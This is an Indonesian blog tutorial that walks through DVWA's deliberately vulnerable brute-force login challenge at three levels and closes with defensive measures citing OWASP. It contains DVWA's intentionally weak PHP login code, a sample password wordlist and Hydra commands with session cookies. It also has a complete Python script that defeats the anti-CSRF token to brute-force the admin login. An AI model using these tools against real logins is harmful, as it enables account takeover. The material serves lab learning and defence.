DVWA Series: Brute Force
December 27, 2021 ⏱️16 min readIntro
DVWA adalah aplikasi web yang dirancang khusus untuk memiliki kerentanan agar kita bisa mempelajarinya. Tujuan dari DVWA adalah mempraktikan beberapa kerentanan web yang umum ditemui dengan berbagai level kesulitan dan antarmuka langsung yang sederhana.
Disclaimer
Tujuan saya menulis dokumentasi ini adalah sebagai catatan pribadi dalam pempelajari keamanan aplikasi web. Saya tidak bertanggung jawab atas segala tindakan ilegal yang dipelajari dari dokumentasi ini.
Apa itu Brute Force ?
Brute Force adalah metode peretasan yang menggunakan “coba-coba” atau trial and error untuk memecahkan kata sandi, kredensial login, dan kunci enkripsi. Peretas mencoba beberapa nama pengguna dan kata sandi, sering kali menggunakan komputer untuk menguji berbagai kombinasi, sampai mereka menemukan informasi login yang benar. Nama “brute force” berasal dari penyerang yang menggunakan upaya paksa yang berlebihan untuk mendapatkan akses ke akun pengguna. Meskipun merupakan metode serangan siber lama, serangan brute force dicoba dan diuji dan tetap menjadi taktik yang populer di kalangan peretas.
Keberhasilan dari teknik ini adalah bergantung terhadap “racikan” wordlist yang si peretas buat. Dalam real case-nya, biasanya peretas mengumpulkan informasi (information gathering) sebanyak-banyaknya, termasuk diantaranya adalah dengan melakukan social engineering.
Untuk lebih jelasnya bisa lihat video berikut:
Apa itu Wordlist?
Dalam hal ini, wordlist adalah kumpulan kata (username atau password) yang akan dicoba satu per satu untuk menemukan password yang valid. Salah satu wordlist yang terkenal adalah rockyou.txt yang berisi jutaan password yang paling umum digunakan. Tetapi biasanya orang-orang tidak menggunakan kata-kata seperti itu lagi, dan walaupun ada, akan memakan waktu yang sangat lama, karena adanya jutaan kata yang dicoba. Sehingga pada real case, sebaiknya kita melakukan information gathering sebaik-baiknya dan meracik wordlist sendiri.
Pengetahuan Dasar yang Wajib Dimiliki
Pengetahuan dasar untuk melakukan brute force (khususnya pada DVWA) adalah paham terhadap logic dari login page atau paham terhadap penggunaan session dll. Kemudian paham atas penggunaan tool seperti Hydra dan Burpsuite yang nantinya akan saya gunakan untuk menyelesaikan challenge ini. Selain itu penggunaan search engine seperti google. Nantinya anda mungkin akan menemukan sesuatu yang baru dan sebagai pentester anda harus bisa mempelajari sesuatu dengan cepat. Ada pun dalam real case-nya, pemahaman seperti limiting, WAF, scripting, dll., saya rasa itu akan mudah dipelajari ketika anda telah terbiasa dengan 2 hal di atas.
Pada bagian akhir akan dibahas bagaimana cara meminimalisir serangan bruteforce pada web kita.
Brute Force level Low
Berikut adalah source-code dari form login level low di DVWA.
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
Information Gathering
Jika kita perhatikan form tersebut menggunakan method GET, sehingga data yang dikirim akan terlihat di dalam URL. Contohnya, ketika saya mengisi nilai username menjadi “user” dan password “password”, maka data tersebut akan terlihat di URL-nya:
http://192.168.1.5/vulnerabilities/brute/?username=user&password=password&Login=Login#
Untuk mengetahui mengenai HTTP method bisa liat vdeo berikut:
atau lebih detail tentang HTTP ada di
Lanjut, jika kita memasukkan username dan password yang salah maka akan muncul pesan sebagai berikut
Kemudian kita coba melihat cookie-nya terlebih dahulu menggunakan Burpsuite (atau menggunakan inspect element pada browser).
gambat1
Terlihat bahwa terdapat cookie PHPSESSID
dan security
yang digunakan untuk mengatur web itu sendiri. Cookie ini akan kita gunakan untuk melakukan brute force. Jika kita mengamati source-code-nya lagi, terlihat bahwa tidak adanya Anti-CSRF token, limit maupun CAPTCHA. Dengan demikian kita bisa dengan mudah melakukan brute force.
Launch Attack
Kita akan menyarang akun dengan privillege tinggi yaitu admin. Dengan asumsi kita sebagai penyerang mengetahui username akun admin.
Pertama, siapkan wordlist yang akan kita gunakan. Wordlist ini sudah saya siapkan dengan asumsi kita telah melakukan information gathering dan social engineering pada korban yang telah dimasukkan ke dalam file bernama wordlist.txt.
adm
admin
Admin
ADMIN
admin123
@dm1n
administrator
username
katasandi
KataSandi
Password
password
passowrd123
PASSWORD
p@ssw0rd
adminCantik
giniginiadmin
senggoldong
Kemudian, buka terminal dan jalan kan tool bernama Hydra. Berikut perintahnya:
hydra 192.168.1.5 -l admin -P ~/Desktop/wordlist.txt http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie:PHPSESSID=fv41a97e716jae3njb7acdhbg6; security=low"
Penjelasan :
192.168.1.5
adalah IP atau domain target.
-l admin
, Sesuai asumsi di atas kita telah mengetahui username dari target yakni “admin”.
-P ~/Desktop/wordlist.txt
berfungsi untuk menentukan file wordlist untuk password yang akan dicoba satu per satu.
http-get-form
Untuk menentukan method yang digunakan pada form login. dalam kasus ini menggunakan method GET. username=^USER^&password=^PASS^
nilai pada flag tersebut akan diisi dengan username (-l) dan password (-P) yang telah ditentukan sebelumnya.
F=Username and/or password incorrect.
digunakan untuk membandingkan hasil brute force. Jika menghasilkan teks tersebut berarti password tidak valid. Pesan tersebut disesuaikan dengan pesan error yang ada di halaman web.
H=Cookie:
digunakan untuk mengatur cookie yang digunakan ketika mengakses web tersebut.
Maka hasilnya sebagai berikut: Dari gambar di atas terlihat bahwa password yang benar adalah “password” sehingga kita dapat login dengan menggunakan pasangan username dan password tersebut. Sehingga tampilannya menjadi:
Berhasill yeeayy!!! sekarang lanjut ke level medium.
Brute Force level Medium
Berikut adalah source-code dari form login level medium di DVWA.
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
Information Gathering
Tidak jauh berbeda dengan level sebelumnya, hanya saja ketika gagal melakukan login akan ada jeda selama 2 detik (terlihat di baris ke-28).
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
Dan jika kita lihat cookienya. yang berubah hanya nilai dari cookie security
.
Launch Attack
Karena yang berbeda hanyalah nilai dari security
saja maka kita hanya perlu ubah nilai security pada cookir menjadi medium.
hydra 192.168.1.5 -l admin -P ~/Desktop/wordlist.txt http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie:PHPSESSID=fv41a97e716jae3njb7acdhbg6; security=medium"
Hasilnya akan sama seperti level sebelumnya. Namun proses pada level medium ini lebih lama karena terjadi delay 2 detik ketika gagal melakukan login.
Okeyy…Lanjut ke level High
Brute Force level Medium
Berikut adalah source-code dari form login level high di DVWA.
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Information Gathering
Pada level high ini, server akan melakukan validasi Anti-CSRF token terlebih dahulu. Dan jika gagal melakukan login akan terjadi delay 0-3 detik. Singkatnya, Anti-CSRF token adalah token yang bersifat unik (setiap adanya request baru nilanya akan berubah) yang digunakan untuk memastikan user melakukan request secara resmi. Penjelasan lebih dalam ada di video berikut:
Jika kita melakukan inspect element, maka akan terlihat terdapat tag input bertipe hidden dengan nama user_token beserta nilainya.
Nilai dari token tersebut akan selalu berubah ketika kita melakukan request yang baru. Jika kita memaksa untuk menggunakan nilai yang sama, maka request akan gagal dilakukan dan halaman akan di-redirect ke form login kembali. Karena Hydra tidak bisa mengatasi Anti-CSRF Token yang selalu berubah-ubah. Maka kita perlu membuat script sendiri menggunakan bahasa Python
Launch Attack
Kita buat dulu scriptnya dengan memanfaatkan beberapa library seperty sys, requests, BeautifulSoup.
from sys import argv
import requests
from bs4 import BeautifulSoup as Soup
# argumen yang nanti akan digunakan
script, wordlistdir, success_message = argv
txt = open(wordlistdir)
# setup target, cookie and session
url = 'http://192.168.1.5/vulnerabilities/brute/index.php'
cookie = {'security': 'high', 'PHPSESSID':'fv41a97e716jae3njb7acdhbg6'}
target = requests.Session()
target_page = target.get(url, cookies=cookie)
# Mencari HTML response untuk pesan sukses
def checkSuccess(html):
soup = Soup(html, features="lxml")
search = soup.findAll(text=success_message)
if not search:
success = False
else:
success = True
# mengembalikan hasil bruteforce
return success
# Mengambil CSRF token dari target memanfaatkan library Soup untuk mencari
page_source = target_page.text
soup = Soup(page_source, features="lxml");
csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')
# Menampilkan URL
print ('DVWA URL= ' + url)
# Looping sesuai isi wordlist
with open(wordlistdir) as wordlist:
print ('Sedang menjalankan brute force attack...')
for password in wordlist:
# Menampilkan password yang dicoba dan CSRF Token
print ('CSRF Token= '+ csrf_token)
print ('password yang dicoba: ' + password)
password = password.strip()
# setup payload
payload = {'username': 'admin', 'password': password, 'Login': 'Login', 'user_token': csrf_token}
r = target.get(url, cookies=cookie, params=payload)
success = checkSuccess(r.text)
if not success:
# ketika gagal CSRF Token akan diganti
soup = Soup(r.text, features="lxml")
csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')
else:
# Kalau berhasil. Pasword ditampilkan
print ('Berhasil !!! Password = ' + password)
break
# Gagal
if not success:
print ('Brute force gagal. Password tidak ada di wordlist.')
Penjelasan Code
Import Library
from sys import argv
import requests
from bs4 import BeautifulSoup as Soup
Kemudian kita perlu definisikan argumen ketika menjalankan code.
script, wordlistdir, success_message = argv
txt = open(wordlistdir)
Lanjut, kita inisisalisasi url, cookie, target, dan halaman yang akan di serang dengan menggunakan library request. Kita coba mengambil session dari web page tersebut
url = 'http://192.168.1.5/vulnerabilities/brute/index.php'
cookie = {'security': 'high', 'PHPSESSID':'fv41a97e716jae3njb7acdhbg6'}
target = requests.Session()
target_page = target.get(url, cookies=cookie)
Dengan memanfaatkan library beautifulsoap kita membuat sebuah function untuk mengecek apakah login sukses atau tidak
# Mencari HTML response untuk pesan sukses
def checkSuccess(html):
soup = Soup(html, features="lxml")
search = soup.findAll(text=success_message)
if not search:
success = False
else:
success = True
# mengembalikan hasil bruteforce
return success
Lanjut, kita coba ambil CSRF Token dari web page dengan memanfaatkan library beautifulsoap. Kita ketahui bahwa token tersebut dapat kita lihat pada source-code html dengan tag hidden. Sehingga kita dapat menanfaatkan library beautifulsoap untuk mencari CSRF Token tersebut dengan kode sbb:
# Mengambil CSRF token dari target memanfaatkan library Soup untuk mencari
page_source = target_page.text
soup = Soup(page_source, features="lxml")
csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')
Print url
# Menampilkan URL
print('DVWA URL= ' + url)
Kemudian kita lakukan looping untuk setiap password yang ada dalam wordlist. Dengan menggunakan with open(wordlistdir)
untuk membuka file wordlist. Dan menampilkan password yang dicoba
# Looping sesuai isi wordlist
with open(wordlistdir) as wordlist:
print('Sedang menjalankan brute force attack...')
for password in wordlist:
# Menampilkan password yang dicoba dan CSRF Token
print('CSRF Token= ' + csrf_token)
print('password yang dicoba: ' + password)
password = password.strip()
Kemudian kita siapkan payload untuk di masukkan ke dalam form login. Dengan memasukkan pssword swsuai wordlist dan csrf token yang diambil dari hasil pencarian tadi. Sehingga untuk tiap password akan memiliki token yang berbeda. Kemudian kita inisialisasikan hasil dari percobaan itu ke dalam variabel r
dan kita cek menggunakan fungsi checkSuccess()
apakah didalam response tersebut terdapat pesan sukses yang didefinisikan pada argumen ketika menjalankan program ini. Ketika terdapat pesan sukses maka akan mengembalikan nilai True
dan ketika gagal akan mengembalikan nilai False
.
# setup payload
payload = {'username': 'admin', 'password': password, 'Login': 'Login', 'user_token': csrf_token}
r = target.get(url, cookies=cookie, params=payload)
success = checkSuccess(r.text)
Cek apakah berhasil atau gagal. Jika berhasil maka looping akan berhenti, namun jika gagal token akan diganti dan loop akan terus berjalan hingga menemukan pesan berhasil atau password dalam wordlist habis.
if not success:
# ketika gagal CSRF Token akan diganti
soup = Soup(r.text, features="lxml")
csrf_token = soup.findAll(attrs={"name": "user_token"})[
0].get('value')
else:
# Kalau berhasil. Pasword ditampilkan
print('Berhasil !!! Password = ' + password)
break
Terakhir, jika tidak ditemukan password yang cocok atau tidak ditemukan pesan berhasil maka akan menampilkan pesan gagal
# Gagal
if not success:
print('Brute force gagal. Password tidak ada di wordlist.')
Script terinspirasi dari https://www.nu11secur1ty.com/2015/11/dvwa-brute-force-high-level-anti-csrf.html
Untuk menjalankannya pastikan telah menginstall library request dan beautifulsoup menggunakan pip. Jika belum bisa menjalankan perintah berikut:
sudo pip3 install requests
sudo pip3 install beautifulsoup4
Untuk menjalankannya kita perlu memberi beberapa argumen
python3 namafile.py direktori-menuju-wordlist.txt "Pesan berhasil yang didapatkan ketika memasukkan username dan password yang benar"
sehingga menjadi:
python3 bruteforceScript.py ~/Desktop/wordlist.txt "Welcome to the password protected area admin"
Berhasil !!!. Silakan login menggunakan password tersebut.
Gimana Cara Mencegah Bruteforce Attack Sebagai Web Developer?
Di dalam DVWA juga menyediakan level Imposible dimana pada saat level di setting menjadi imposible maka serangan mustahil untuk berhasil. Berikut source-codenya:
Brute Force Source
vulnerabilities/brute/source/impossible.php
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Cara paling jelas untuk memblokir serangan brute force adalah dengan hanya mengunci akun setelah sejumlah percobaan yang salah. Penguncian akun dapat berlangsung dalam durasi tertentu, seperti satu jam, atau akun dapat tetap terkunci hingga dibuka secara manual oleh administrator.
Namun, penguncian akun tidak selalu merupakan solusi terbaik, karena seseorang dapat dengan mudah menyalahgunakan tindakan keamanan dan mengunci ratusan akun pengguna. Seperti kejadian di beberapa web yang menyebabkan akun tidak bisa di akses.
Oleh karena itu ada beberapa alternatif seperti berikut :
Limit kesalahan password
Ketika user salah menginputkan password dalam 3x (atau berapa pun sesuai kebijakan masing-masing), maka ia harus menunggu beberapa waktu terlebih dahulu agar bisa melakukan login kembali.
Menambahkan CAPTCHA
CAPTCHA adalah suatu bentuk uji tantangan-tanggapan (challenge-response test) yang digunakan untuk memastikan bahwa jawaban tidak dihasilkan oleh robot (bot).
Pasang WAF
Untuk pengguna tingkat lanjut yang ingin melindungi akun mereka dari serangan, beri mereka opsi untuk mengizinkan login hanya dari alamat IP tertentu, atau menggunakan 2FA.
Sumber: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks